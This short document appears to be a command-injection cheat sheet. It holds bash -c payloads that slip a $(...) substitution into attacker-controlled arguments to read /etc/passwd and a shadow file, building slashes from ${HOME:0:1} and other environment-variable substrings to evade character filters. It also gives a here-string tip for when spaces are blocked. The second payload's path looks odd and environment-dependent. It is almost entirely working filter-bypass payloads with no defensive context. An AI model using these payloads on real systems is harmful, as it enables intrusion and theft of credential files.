bash -c ‘/path/to/some/binary args_not_attacker_controlled attacker_controlled$(cat<${HOME:0:1}etc${HOME:0:1}passwd)'
bash -c '/path/to/some/binary args_not_attacker_controlled attacker_controlled$(cat<${HOME:0:1}etc${HOME:0:1}apt${HOME:0:1}${LANGUAGE:5:1}${LANGUAGE:5:1}${HOME:0:1}shadow)'
Use triple arrow to redirect to bash if you can get an escaped space but not a direct space
bash -c '/bin/echo somestrangefile$(bash<<<"echo ABC")'